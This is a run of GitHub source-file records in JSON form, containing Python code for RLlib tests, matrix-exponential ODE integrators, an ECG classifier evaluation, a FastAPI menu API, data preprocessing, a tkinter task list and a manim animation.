policy=MockPolicy,\n rollout_fragment_length=5,\n batch_mode=\"complete_episodes\")\n batch = ev.sample()\n self.assertEqual(batch.count, 10)\n\n def test_complete_episodes_packing(self):\n ev = RolloutWorker(\n env_creator=lambda _: MockEnv(10),\n policy=MockPolicy,\n rollout_fragment_length=15,\n batch_mode=\"complete_episodes\")\n batch = ev.sample()\n self.assertEqual(batch.count, 20)\n self.assertEqual(\n batch[\"t\"].tolist(),\n [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9])\n\n def test_filter_sync(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy=MockPolicy,\n sample_async=True,\n observation_filter=\"ConcurrentMeanStdFilter\")\n time.sleep(2)\n ev.sample()\n filters = ev.get_filters(flush_after=True)\n obs_f = filters[DEFAULT_POLICY_ID]\n self.assertNotEqual(obs_f.rs.n, 0)\n self.assertNotEqual(obs_f.buffer.n, 0)\n\n def test_get_filters(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy=MockPolicy,\n sample_async=True,\n observation_filter=\"ConcurrentMeanStdFilter\")\n self.sample_and_flush(ev)\n filters = ev.get_filters(flush_after=False)\n time.sleep(2)\n filters2 = ev.get_filters(flush_after=False)\n obs_f = filters[DEFAULT_POLICY_ID]\n obs_f2 = filters2[DEFAULT_POLICY_ID]\n self.assertGreaterEqual(obs_f2.rs.n, obs_f.rs.n)\n self.assertGreaterEqual(obs_f2.buffer.n, obs_f.buffer.n)\n\n def test_sync_filter(self):\n ev = RolloutWorker(\n env_creator=lambda _: gym.make(\"CartPole-v0\"),\n policy=MockPolicy,\n sample_async=True,\n observation_filter=\"ConcurrentMeanStdFilter\")\n obs_f = self.sample_and_flush(ev)\n\n # Current State\n filters = ev.get_filters(flush_after=False)\n obs_f = filters[DEFAULT_POLICY_ID]\n\n self.assertLessEqual(obs_f.buffer.n, 20)\n\n new_obsf = obs_f.copy()\n new_obsf.rs._n = 100\n ev.sync_filters({DEFAULT_POLICY_ID: new_obsf})\n filters = ev.get_filters(flush_after=False)\n obs_f = filters[DEFAULT_POLICY_ID]\n self.assertGreaterEqual(obs_f.rs.n, 100)\n self.assertLessEqual(obs_f.buffer.n, 20)\n\n def sample_and_flush(self, ev):\n time.sleep(2)\n ev.sample()\n filters = ev.get_filters(flush_after=True)\n obs_f = filters[DEFAULT_POLICY_ID]\n self.assertNotEqual(obs_f.rs.n, 0)\n self.assertNotEqual(obs_f.buffer.n, 0)\n return obs_f\n\n def test_extra_python_envs(self):\n extra_envs = {\"env_key_1\": \"env_value_1\", \"env_key_2\": \"env_value_2\"}\n self.assertFalse(\"env_key_1\" in os.environ)\n self.assertFalse(\"env_key_2\" in os.environ)\n RolloutWorker(\n env_creator=lambda _: MockEnv(10),\n policy=MockPolicy,\n extra_python_environs=extra_envs)\n self.assertTrue(\"env_key_1\" in os.environ)\n self.assertTrue(\"env_key_2\" in os.environ)\n\n # reset to original\n del os.environ[\"env_key_1\"]\n del os.environ[\"env_key_2\"]\n\n\nif __name__ == \"__main__\":\n import pytest\n import sys\n sys.exit(pytest.main([\"-v\", __file__]))\n","repo_name":"HuantWang/SUPERSONIC","sub_path":"third_party/ray/rllib/tests/test_rollout_worker.py","file_name":"test_rollout_worker.py","file_ext":"py","file_size_in_byte":19451,"program_lang":"python","lang":"en","doc_type":"code","stars":119,"dataset":"github-code","pt":"37"} +{"seq_id":"823756827","text":"from __future__ import print_function\nimport numpy as np\nfrom scipy.sparse import identity, issparse\nfrom scipy.sparse.linalg import gmres, LinearOperator\nfrom scipy.sparse.linalg.interface import IdentityOperator\nfrom expleja import expleja, normAmp, newton_wrapper\nimport scipy.io as sio\nfrom copy import deepcopy\ntry:\n import cupy as cp\nexcept ModuleNotFoundError:\n pass\n\n#functionEvaluations ~= Matrix-Vector Multiplications\n#s... substeps\n\nclass Integrator:\n '''\n Situation: dt u(t) = F(u)\n Calculate u(t_end)\n '''\n def __init__(self, method, inputs, reference_solution, columns): \n def solve(s, **kwargs):\n u, cost = method(*deepcopy(inputs),s,**kwargs)\n\n abs_error = np.linalg.norm(u - reference_solution, 2)\n rel_error = abs_error / np.linalg.norm(u, 2)\n\n return u, rel_error, cost\n\n self.method = method\n self.solve = solve\n self.columns = columns.copy()\n self.name = name = method.__name__\n assert(name in ['cn2','rk2','rk4'] or 'exprb' in name)\n\ndef rk2(F, u, t, t_end, linearCase, s):\n if len(u) >= 40000:\n try:\n u = cp.array(u)\n except NameError:\n pass\n \n ''' Midpoint rule '''\n τ = (t_end-t)/s # time step size\n for _ in range(s):\n k1 = F(u)\n k2 = F(u+τ/2.*k1)\n\n t,u = t + τ, u + τ*k2\n\n assert(abs(t - t_end) < τ)\n \n # Costs\n if linearCase:\n mv = 2*s\n cost = (mv,)\n else:\n functionEvaluations = 2*s\n derivativeEvaluations = 0\n mv = 0\n cost = (functionEvaluations, derivativeEvaluations, mv)\n\n if len(u) >= 40000:\n try:\n u = cp.asnumpy(u)\n except NameError:\n pass \n return u, cost\n\ndef rk4(F, u, t, t_end, linearCase, s):\n # Using GPU for speedups\n if len(u) >= 40000:\n try:\n u = cp.array(u)\n except NameError:\n pass\n \n ''' Classical Runge-Kutta method '''\n τ = (t_end-t)/s # time step size\n for _ in range(s):\n k1 = F(u)\n k2 = F(u+τ/2.*k1)\n k3 = F(u+τ/2.*k2)\n k4 = F(u+τ*k3)\n\n t,u = t + τ, u + τ/6*(2*k1 + k2 + k3 + 2*k4)\n\n assert(abs(t - t_end) < τ)\n\n # Costs\n if linearCase:\n mv = 4*s\n cost = (mv,)\n else:\n functionEvaluations = 4*s\n derivativeEvaluations = 0\n mv = 0\n cost = (functionEvaluations, derivativeEvaluations, mv)\n\n if len(u) >= 40000:\n try:\n u = cp.asnumpy(u)\n except NameError:\n pass \n return u, cost\n\ndef cn2(F, u, t, t_end, linearCase, s, tol=None, dF=None):\n ''' Crank-Nicolson method\n The choice tol/s in gmres guarantees that the compounding error\n is low enough'''\n \n mv = 0\n \n ushape = u.shape\n Nx = ushape[0]\n\n τ = (t_end-t)/s # time step size\n\n def gmresiterations(rk):\n gmresiterations.counter += 1\n gmresiterations.counter = 0\n\n if linearCase:\n M = F(u, returnMatrix=True) # Linear case\n Id = (IdentityOperator((Nx,Nx)) if isinstance(M,LinearOperator)\n else identity(Nx)) # Appropriate Identity Opterator given M\n \n A = Id - τ/2.*M\n B = Id + τ/2.*M\n \n for _ in range(s):\n #Solve A@u = b\n b = B @ u\n u,_ = gmres(A, b, x0=u, tol=tol/s, atol=0,\n callback=gmresiterations, M = None)\n t += τ\n \n assert(abs(t - t_end) < τ)\n \n u = u.reshape(ushape)\n mv = s + gmresiterations.counter\n \n return u, (mv,)\n else:\n def newton(u0):\n Fu0 = F(u0)\n u1 = u0 + τ*Fu0\n \n g = lambda u1: u1 - u0 - τ/2*(Fu0 + F(u1))\n #dg = lambda u1: Id - τ/2* dF(u1)\n\n def dg(u1):\n dFu1 = dF(u1)\n return LinearOperator((Nx,Nx), matvec = lambda v: v-τ/2*dFu1@v) \n \n for k in range(1,10):\n Δu, _ = gmres(dg(u1),-g(u1),x0 = u1, tol=tol/s, atol=0,\n callback=gmresiterations, M = None)\n u1 += Δu.reshape(ushape)\n if np.linalg.norm(Δu)/np.linalg.norm(u0) < tol/s:\n break\n \n functionEvaluation = k\n derivativeEvaluations = k\n mv = k # Without gmres\n return u1, (functionEvaluation, derivativeEvaluations, mv)\n \n functionEvaluations = 0\n derivativeEvaluations = 0\n for _ in range(s):\n u, cost = newton(u)\n t += τ\n \n functionEvaluations += cost[0]\n derivativeEvaluations += cost[1]\n mv += cost[2]\n \n mv += gmresiterations.counter\n \n return u, (functionEvaluations, derivativeEvaluations, mv)\n\ndef exprb2(F, u, t, t_end, linearCase, s, \n tol=None, normEstimator=None, dF=None):\n ''' Exponential Rosenbrock-Euler method\n If dF is False, then we assume the derivative of F is a constant Matrix M,\n which can be returned with M = F(u, returnMatrix=True)'''\n functionEvaluations = 0\n derivativeEvaluations = 0\n mv = 0\n \n u = u.copy()\n τ = (t_end-t)/s\n Nx = len(u)\n \n ''' Linear Case '''\n if linearCase:\n M = F(u, returnMatrix=True) \n # We force s = s and m = 99\n para = select_interp_para_for_fixed_m_and_s(\n t_end-t, M, u, tol, s=s, normEstimate = normEstimator)\n\n expMu, _, info, c, _, _, _ = expleja(\n t_end-t, M, u, tol, p=0, interp_para=para)\n\n mv = int(sum(info) + c) # Total matrix-vector multiplications\n return expMu, (mv,)\n\n ''' Nonlinear Case '''\n v = np.vstack((np.zeros((Nx,1)),1))\n kwargs = {**normEstimator[1]}\n for k in range(s):\n X = LinOpX(u, F(u), dF(u))\n \n [λ, EV, its] = normEstimator[0](X,**kwargs)\n kwargs['x'], kwargs['λ'], kwargs['tol'] = EV, λ/1.1, 0.1 \n\n u, t, mvstep = exprbstep(u, t, τ, X, v, s, tol, normEstimate=λ)\n mv += mvstep + its # Number of matrix-vector multiplications\n assert(abs(t - t_end) < τ)\n functionEvaluations = s\n derivativeEvaluations = s\n \n return u, (functionEvaluations, derivativeEvaluations, mv)\n\ndef exprb3(F, u, t, t_end, linearCase, s, \n tol=None, normEstimator=None, dF=None):\n \n if linearCase:\n raise(NotImplementedError)\n\n functionEvaluations = 0\n derivativeEvaluations = 0\n mv = 0\n \n u = u.copy()\n τ = (t_end-t)/s\n Nx = len(u)\n\n v = np.vstack((np.zeros((Nx,1)),1))\n v3 = np.vstack((np.zeros((Nx+2,1)),1))\n kwargs = {**normEstimator[1]}\n for k in range(s):\n Fu, J = F(u), dF(u)\n X = LinOpX(u, Fu, J)\n \n [λ, EV, its] = normEstimator[0](X,**kwargs)\n kwargs['x'], kwargs['λ'], kwargs['tol'] = EV, λ/1.1, 0.1 \n\n U2, _, mv2 = exprbstep(u, t, τ, X, v, s, tol, normEstimate=λ) \n D2 = F(U2)-Fu - J@(U2-u)\n \n k3 = 2*D2/τ**2 # 1 function evaluation and mv\n X3 = LinOpX3(u, Fu, J, k3) \n \n u, t, mvstep = exprbstep(u, t, τ, X3, v3, s, tol, normEstimate=λ)\n mv += mv2 + mvstep + its + 1\n assert(abs(t - t_end) < τ)\n functionEvaluations = 2*s\n derivativeEvaluations = s\n \n return u, (functionEvaluations, derivativeEvaluations, mv)\n\ndef exprb4(F, u, t, t_end, linearCase, s, \n tol=None, normEstimator=None, dF=None):\n \n if linearCase:\n raise(NotImplementedError)\n \n functionEvaluations = 0\n derivativeEvaluations = 0\n mv = 0\n \n u = u.copy()\n τ = (t_end-t)/s\n Nx = len(u)\n\n v1 = np.vstack((np.zeros((Nx,1)),1))\n v4 = np.vstack((np.zeros((Nx+3,1)),1))\n kwargs = {**normEstimator[1]}\n for k in range(s):\n Fu, J = F(u), dF(u)\n X = LinOpX(u, Fu, J)\n \n [λ, EV, its] = normEstimator[0](X,**kwargs)\n kwargs['x'], kwargs['λ'], kwargs['tol'] = EV, λ/1.1, 0.1 \n\n U2, _, mv2 = exprbstep(u, t, τ/2, X, v1, s, tol, normEstimate=λ) \n D2 = F(U2)-Fu - J@(U2-u) # 1 function evaluation and mv\n \n U3, _, mv3 = exprbstep(u, t, τ, X, v1, s, tol, normEstimate=λ) \n D3 = F(U3)-Fu - J@(U3-u) # 1 function evaluation and mv\n \n k3 = ( 16*D2 - 2*D3)/τ**2 \n k4 = (-48*D2 + 12*D3)/τ**3\n X4 = LinOpX4(u, Fu, J, k3, k4) \n \n u, t, mvstep = exprbstep(u, t, τ, X4, v4, s, tol, normEstimate=λ)\n mv += mv2 + mvstep + its + 2\n assert(abs(t - t_end) < τ)\n functionEvaluations = 3*s\n derivativeEvaluations = s\n \n return u, (functionEvaluations, derivativeEvaluations, mv)\n\ndef exprbstep(u, t, τ, X, v, s, tol, normEstimate):\n tol = [tol[0]/s, tol[1]/s, tol[2], tol[3]]\n \n #para = select_interp_para_nE(τ, X, v, tol, normEstimate = normEstimate)\n para = select_interp_para_for_fixed_m_and_s(τ, X, v, tol, normEstimate = normEstimate)\n\n if para[0] > 10**10:\n raise MemoryError(\"Too many substeps, computation will fail\")\n \n expXv, _, info, c, _, _, _ = newton_wrapper(τ, v, *para, *tol[:3])\n\n mv = int(sum(info))\n assert(c==0)\n return u+expXv[:len(u)], t+τ, mv\n\ndef LinOpX(u, Fu, J):\n def mv(v):\n w = np.zeros(v.shape)\n if v.ndim == 2:\n w[:-1] = J@v[:-1] + Fu*v[-1]\n else:\n w[:-1] = J@v[:-1] + Fu.flatten()*v[-1]\n return w\n return LinearOperator((len(u)+1,len(u)+1), matvec = mv)\n\ndef LinOpX3(u, Fu, J, k3):\n def mv(v):\n w = np.zeros(v.shape)\n if v.ndim == 2:\n w[:-3] = J@v[:-3] + v[-1]*Fu + v[-3]*k3 \n w[-3:-1] = v[-2:]\n else:\n w[:-3] = J@v[:-3] + v[-1]*Fu.flatten() + v[-3]*k3.flatten()\n w[-3:-1] = v[-2:]\n return w\n return LinearOperator((len(u)+3,len(u)+3), matvec = mv)\n\ndef LinOpX4(u, Fu, J, k3, k4):\n def mv(v):\n w = np.zeros(v.shape)\n if v.ndim == 2:\n w[:-4] = J@v[:-4] + v[-1]*Fu + v[-3]*k3 + v[-4]*k4 \n w[-4:-1] = v[-3:]\n else:\n w[:-4] = J@v[:-4] + (v[-1]*Fu + v[-3]*k3 + v[-4]*k4).flatten()\n w[-4:-1] = v[-3:]\n return w\n return LinearOperator((len(u)+4,len(u)+4), matvec = mv)\n\ndef largestEV(A, x=None, λ=float('inf'), powerits=100, safetyfactor=1.1,tol=0):\n if x is None:\n x = np.random.randn(A.shape[0],1) \n \n for mv in range(1,powerits+1):\n y = A.dot(x)\n λ_old, λ = λ, np.linalg.norm(y)\n x = y/λ\n if abs(λ-λ_old)<tol*λ or λ==0:\n break\n return safetyfactor*λ, x, mv\n\ndef select_interp_para_for_fixed_m_and_s(\n h, A, v, tol, s=1, m=99, normEstimate = None):\n '''\n The code is shortened version select_interp_para from expleja\n and accepts a normEstimator as an argument. Furthermore it forces\n a fixed interpolation degree m,\n a fixed number of substeps s,\n no hump reduction.\n '''\n n = v.shape[0]\n\n '''\n Load interpolation parameter depending on chosen precision\n '''\n sampletol = [2**-10,2**-24,2**-53]\n\n t = max(tol[0],2**-53) if len(tol) == 1 else max(min(tol[0],tol[1]),2**-53)\n if t >= sampletol[0]:\n data = sio.loadmat('data_leja_half_u.mat')\n elif t >= sampletol[1]:\n data = sio.loadmat('data_leja_single_u.mat')\n else:\n data = sio.loadmat('data_leja_double_u.mat')\n\n θ, ξ, dd = data['theta'], data['xi'], data['dd']\n\n if isinstance(A,LinearOperator):\n '''\n Selects the shift μ (Half of (absolutely) largest eigenvalue)\n '''\n if normEstimate is None:\n μ, _, mv = largestEV(A, powerits=100)\n else:\n μ = normEstimate\n mv = 0\n\n μ = -μ/2.0\n A -= μ*IdentityOperator((n,n))\n γ2 = abs(μ)\n else:\n '''\n Selects the shift μ = trace(A)/n\n '''\n μ = sum(A.diagonal())/float(n)\n A -= μ*identity(n)\n\n if not issparse(A):\n A = np.asarray(A)\n γ2, mv = normAmp(A,1,tol[3])\n\n γ2, dd = θ[m], dd[:,m]\n ξ = ξ*(γ2/2)\n\n return s, γ2, ξ.flatten(), dd, A, μ, mv, m\n\ndef select_interp_para_nE(h, A, v, tol, normEstimate = None, m_max=99):\n '''\n The code is shortened version select_interp_para from expleja\n and accepts a normEstimator as an argument.\n '''\n n = v.shape[0]\n\n '''\n Load interpolation parameter depending on chosen precision\n '''\n sampletol = [2**-10,2**-24,2**-53]\n\n t = max(tol[0],2**-53) if len(tol) == 1 else max(min(tol[0],tol[1]),2**-53)\n if t >= sampletol[0]:\n data = sio.loadmat('data_leja_half_u.mat')\n elif t >= sampletol[1]:\n data = sio.loadmat('data_leja_single_u.mat')\n else:\n data = sio.loadmat('data_leja_double_u.mat')\n\n θ, ξ, dd = data['theta'], data['xi'], data['dd']\n\n if isinstance(A,LinearOperator):\n '''\n Selects the shift μ (Half of (absolutely) largest eigenvalue)\n '''\n if normEstimate is None:\n μ, _, mv = largestEV(A, powerits=100)\n else:\n μ = normEstimate\n mv = 0\n\n μ = -μ/2.0\n A -= μ*IdentityOperator((n,n))\n γ2 = abs(μ)\n\n else:\n '''\n Selects the shift μ = trace(A)/n\n '''\n μ = sum(A.diagonal())/float(n)\n A -= μ*identity(n)\n\n if not issparse(A):\n A = np.asarray(A)\n γ2, mv = normAmp(A,1,tol[3])\n \n mm = min(m_max, len(θ))\n if γ2 == 0: #Prevents division by 0\n m = 0\n else:\n m = np.argmin(np.arange(2,mm) * np.ceil((h*γ2)/θ[2:mm]).T)\n m = m+2\n nsteps = int(np.ceil((h*γ2)/θ[m]))\n\n γ2, dd = θ[m], dd[:,m]\n ξ = ξ*(γ2/2)\n\n return nsteps, γ2, ξ.flatten(), dd, A, μ, mv, m\n","repo_name":"MaximilianSamsinger/Matrix-free-Leja-based-exponential-integrators","sub_path":"Integrators.py","file_name":"Integrators.py","file_ext":"py","file_size_in_byte":13930,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27527674728","text":"from typing import List, Optional\n\nfrom pydantic import BaseModel\n\nclass Result(BaseModel): \n message: str\n\nclass JobBase(BaseModel):\n JobName: str\n CompanyName: str\n Location: str\n ApplyStatus: str\n\nclass JobCreate(JobBase):\n pass\n\nclass JobUpdate(BaseModel):\n JobId: int\n JobName: str\n CompanyName: str\n Location: str\n\nclass JobApply(BaseModel):\n JobId: int\n ApplyStatus: str\n\nclass Job(JobBase):\n JobId: int\n \n class Config:\n orm_mode = True\n","repo_name":"ramchn/pythonservice","sub_path":"sql_app/schemas.py","file_name":"schemas.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19765469837","text":"import os\nimport numpy as np\nimport tensorflow as tf\nimport pandas as pd\nfrom sklearn.metrics import confusion_matrix, classification_report\nfrom tff_utils import plot_confusion_matrix, get_model_with_new_last_layer\nfrom utils import dataframe_to_dataset\nfrom tf_attn_model import create_ECGClassifer\n\n# gpu\nos.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\nphysical_devices = tf.config.list_physical_devices('GPU')\ntf.config.experimental.set_memory_growth(physical_devices[0], True)\n\n\nTEST_DATA_DIR = 'test_ptb_preproc.csv'\nSAVED_MODEL_DIR = 'saved_models/FL/'\nSAVED_MODEL = 'model_ptb_aalf.h5'\nCLASS_NUM = 2 # 4\n# CLASS_NAMES = ['N', 'R-on-T', 'PVC', 'SP']\nCLASS_NAMES = ['Normal', 'Abnormal']\nPLOT_TITLE = 'Confusion Matrix on PTB Test set with AALF'\nPLOT_FILE_NAME = 'cf_ptbaalf.png'\nBATCHSIZE = 64\n\nsrc = 'Datasets/'\ndf_test = pd.read_csv(src + TEST_DATA_DIR)\nds_test = dataframe_to_dataset(df_test, label_col='label')\nds_test = ds_test.batch(BATCHSIZE)\n\n# Functional API model:\nmodel = create_ECGClassifer(num_classes=5)\ntest_model = get_model_with_new_last_layer(pretrained_model=model, num_classes=CLASS_NUM)\ntest_model.load_weights(SAVED_MODEL_DIR + SAVED_MODEL)\n\ncount = 0\npredictions = None\ntargets = None\nfor data, label in ds_test:\n y_pred = test_model.predict(data)\n classes = np.argmax(y_pred, axis=1)\n if count == 0:\n predictions = classes.copy()\n targets = label.numpy().copy()\n else:\n predictions = np.append(predictions, classes)\n targets = np.append(targets, label.numpy())\n count += 1\n\ncf_matrix = confusion_matrix(targets, predictions)\n# classes=['0', '1', '2', '3', '4']\nplot_confusion_matrix(cf_matrix=cf_matrix,\n classes=CLASS_NAMES,\n cmap='Blues',\n title=PLOT_TITLE,\n figsize=None,\n save=True,\n save_name=PLOT_FILE_NAME)\n\nprint(cf_matrix)\nprint(classification_report(targets, predictions, target_names=CLASS_NAMES))\n\n","repo_name":"VigKu/FL_ECG_Anomaly_Detection_AI_Project","sub_path":"src/test_FL_model.py","file_name":"test_FL_model.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"2673379469","text":"import re\nimport json\nfrom .beautysh import Beautify\nfrom cuda_fmt import get_config_filename\n\nfmt = Beautify()\n\ndef do_format(text):\n\n fn = get_config_filename('Bash Beautify')\n s = open(fn, 'r').read()\n #del // comments\n s = re.sub(r'(^|[^:])//.*', r'\\1', s)\n d = json.loads(s)\n\n fmt.tab_size = d.get('tab_size', 4)\n fmt.tab_str = d.get('tab_str', ' ')\n fmt.apply_function_style = d.get('apply_function_style', None)\n\n res, error = fmt.beautify_string(text)\n return res\n","repo_name":"CudaText-addons/cuda_fmt_bash","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":502,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21950610700","text":"import uvicorn\nfrom fastapi import FastAPI, Body, Depends\n\nfrom app.model import PostSchema, UserSchema, UserLoginSchema\nfrom app.auth.auth_bearer import JWTBearer\nfrom app.auth.auth_handler import signJWT\n\nposts = [\n {\n \"id\": 1,\n \"title\": \"x-egg\",\n \"content\": \"A haburguer with eggs\"\n },\n {\n \"id\": 2,\n \"title\": \"x-salad\",\n \"content\": \"A haburguer with lettuce, tomate, onion \"\n },\n {\n \"id\": 3,\n \"title\": \"water\",\n \"content\": \"clean water \"\n }\n]\n\nusers = []\n\n\napp = FastAPI()\n\n\ndef check_user(data: UserLoginSchema):\n for user in users:\n if user.email == data.email and user.password == data.password:\n return True\n return False\n\n\n# get - for testing\n@app.get(\"/\", tags=[\"test\"])\ndef greet():\n return {\"Hello\":\"World!\"}\n\n# get posts\n@app.get(\"/posts\", tags=[\"posts\"])\ndef get_posts():\n return {\"data\" : posts}\n\n# get single post {id}\n\n@app.get(\"/posts/{id}\", tags=[\"posts\"])\ndef get_one_post(id: int):\n if id> len(posts):\n return{\n \"error\": \"Post with ID does not exist\"\n\n }\n for post in posts:\n if post[\"id\"] == id:\n return{\n \"data\": post\n }\n\n# Post a food to menu\n\n@app.post(\"/posts\", tags=[\"posts\"])\ndef add_post(post: PostSchema):\n post.id = len(posts) + 1\n posts.append(post.dict())\n return {\n \"info\":\"Post Added!\"\n }\n\n\n@app.post(\"/user/signup\", tags=[\"user\"])\ndef create_user(user: UserSchema = Body(...)):\n users.append(user) # replace with db call, making sure to hash the password first\n return signJWT(user.email)\n\n\n@app.post(\"/user/login\", tags=[\"user\"])\ndef user_login(user: UserLoginSchema = Body(...)):\n if check_user(user):\n return signJWT(user.email)\n return {\n \"error\": \"Wrong login details!\"\n }","repo_name":"Ostrowskii/fast-api-menu-restaurant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71961648427","text":"import pandas as pd\n\n\ndef main():\n suicide_rates = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/suicide_rates_pivot.csv\", index_col=None)\n fertility_rates = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/fertility_rate.csv\", index_col=None)\n drinks = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/alcohol_consumption.csv\", index_col=None)\n life_expectancy = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/life_expectancy.csv\", index_col=None)\n country_population = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/country_population.csv\", index_col=None)\n youth_unemployment = pd.DataFrame.from_csv(\"../../Data/Manually-Cleaned/youth_unemployment.csv\", index_col=None)\n\n countries = suicide_rates['Country'];\n fertility_rates_countries = fertility_rates['Country']\n drinks_countries = drinks['Country']\n life_expectancy_countries = life_expectancy['Country']\n country_population_countries = country_population['Country']\n youth_unemployment_countries = youth_unemployment['Country']\n\n suicide_rates = merge_countries(suicide_rates, countries=fertility_rates_countries)\n suicide_rates = merge_countries(suicide_rates, countries=drinks_countries)\n suicide_rates = merge_countries(suicide_rates, countries=life_expectancy_countries)\n suicide_rates = merge_countries(suicide_rates, countries=country_population_countries)\n suicide_rates = merge_countries(suicide_rates, countries=youth_unemployment_countries)\n\n countries = suicide_rates['Country'];\n\n suicide_rates = clean_dataframe(suicide_rates, countries=countries)\n fertility_rates = clean_dataframe(fertility_rates, countries=countries)\n drinks = clean_dataframe(drinks, countries=countries)\n life_expectancy = clean_dataframe(life_expectancy, countries=countries)\n country_population = clean_dataframe(country_population, countries=countries)\n youth_unemployment = clean_dataframe(youth_unemployment, countries=countries)\n\n merge0 = pd.merge(suicide_rates, fertility_rates, on=\"Country\")\n merge1 = pd.merge(merge0, drinks, on=\"Country\");\n merge2 = pd.merge(merge1, life_expectancy, on=\"Country\");\n merge3 = pd.merge(merge2, country_population, on=\"Country\");\n merge4 = pd.merge(merge3, youth_unemployment, on=\"Country\");\n\n merge4.to_csv(\"../../Data/Cleaned/all.csv\")\n\n\n create_Y(suicide_rates)\n\n\ndef clean_country_name(country_name):\n country_name = country_name.replace(\"[^A-Za-z]\", \"\").lower()\n return country_name\n\n\ndef clean_dataframe(dataframe, countries, country_column='Country'):\n dataframe[country_column] = dataframe[country_column].astype(str);\n dataframe[country_column] = dataframe[country_column].apply(clean_country_name)\n dataframe.sort_values(by=[country_column])\n dataframe = merge_countries(dataframe, country_column_name=country_column, countries=countries)\n return dataframe;\n\n\ndef merge_countries(dataframe, country_column_name='Country', countries=[]):\n dataframe_countries = dataframe[country_column_name]\n dropped_countries = []\n for country in dataframe_countries:\n if country not in countries.tolist():\n dropped_countries.append(country)\n\n dataframe = dataframe[~dataframe[country_column_name].isin(dropped_countries)]\n return dataframe\n\n\ndef create_Y(dataframe):\n df = dataframe['2010']\n df.to_csv(\"../../Data/Cleaned/Y_2010.csv\")\n df = dataframe['2011']\n df.to_csv(\"../../Data/Cleaned/Y_2011.csv\")\n df = dataframe['2012']\n df.to_csv(\"../../Data/Cleaned/Y_2012.csv\")\n df = dataframe['2013']\n df.to_csv(\"../../Data/Cleaned/Y_2013.csv\")\n df = dataframe['2014']\n df.to_csv(\"../../Data/Cleaned/Y_2014.csv\")\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"akgpta/CIS520-Final-Project","sub_path":"Code/Data Preprocessing/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":3722,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"38874285651","text":"import tkinter\r\nimport os\r\n\r\n\r\ndef main():\r\n file_exists = os.path.isfile('tasks.txt')\r\n if not file_exists:\r\n file = open('tasks.txt', 'w+')\r\n file = open('tasks.txt', 'r')\r\n file_string = file.read()\r\n tasks_list = file_string.splitlines()\r\n tasks_manager = tkinter.Tk(className='Task List')\r\n tasks_manager.title('To-do List Manager')\r\n tasks_manager.geometry('800x600')\r\n scroll_tasks = tkinter.Scrollbar()\r\n scroll_tasks.pack(side='right', fill='y')\r\n title_1 = tkinter.Label(tasks_manager, text=\"Your List of Tasks:\")\r\n title_1.pack(anchor='n')\r\n tasks = tkinter.Listbox(tasks_manager, yscrollcommand=scroll_tasks.set, height='25', width='130', selectmode='single')\r\n tasks.pack(anchor='nw', padx='10', pady='10')\r\n for i in tasks_list:\r\n tasks.insert('end', i)\r\n label_2 = tkinter.Label(tasks_manager, text=\"Type your task below:\")\r\n label_2.pack(anchor='s')\r\n text_box = tkinter.Entry(tasks_manager, width='110')\r\n text_box.pack(anchor='sw', padx='50', pady='15')\r\n add_task = tkinter.Button(tasks_manager, text='Add Task', command=lambda: add_task_method(tasks_list, text_box, tasks), height='3', width='15', background='green')\r\n add_task.pack(side='left', padx='180')\r\n remove_task = tkinter.Button(tasks_manager, text='Remove Task', command=lambda: remove_task_method(tasks_list, tasks), height='3', width='15', background='red')\r\n remove_task.pack(side='left')\r\n tasks_manager.mainloop()\r\n file = open('tasks.txt', 'w+')\r\n for i in tasks_list:\r\n file.write(i + '\\n')\r\n file.close()\r\n\r\n\r\ndef add_task_method(tasks_list, text_box, tasks):\r\n task = text_box.get()\r\n tasks_list.append(task)\r\n tasks.insert('end', task)\r\n\r\n\r\ndef remove_task_method(tasks_list, tasks):\r\n if tasks.curselection():\r\n selected_task = tasks.get(tasks.curselection())\r\n task_index = tasks.curselection()\r\n tasks_list.remove(selected_task)\r\n tasks.delete(task_index)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Rafel-S/Tasks-Manager","sub_path":"TaskListApplication.py","file_name":"TaskListApplication.py","file_ext":"py","file_size_in_byte":2038,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26402388476","text":"from manim import *\n\nclass C4_Q4_2(Scene):\n def construct(self):\n\n text=[]\n textCopy=[]\n text.append(MathTex(\"4. \", \"\\\\sqrt{x-1}\", \" - \\\\sqrt{x+1}\",\"=\",\"2\").shift(3*UP,0.8*LEFT))\n self.play(Write(text[0]))\n self.play(text[0][0].animate.shift(2*LEFT))\n self.wait(2)\n\n textC=text[0].copy()\n framebox1 = SurroundingRectangle(text[0][2], buff = .1) \n textS=MathTex(\" + \\\\sqrt{x+1}\").move_to(text[0]).shift(5*RIGHT)\n self.play(Create(framebox1))\n self.play(Transform(text[0][2], textS))\n self.wait(2)\n self.play(FadeOut(framebox1),FadeOut(text[0]))\n self.add(textC) \n\n text.append(MathTex(\"\\\\sqrt{x-1}\",\"=\",\"2\",\" + 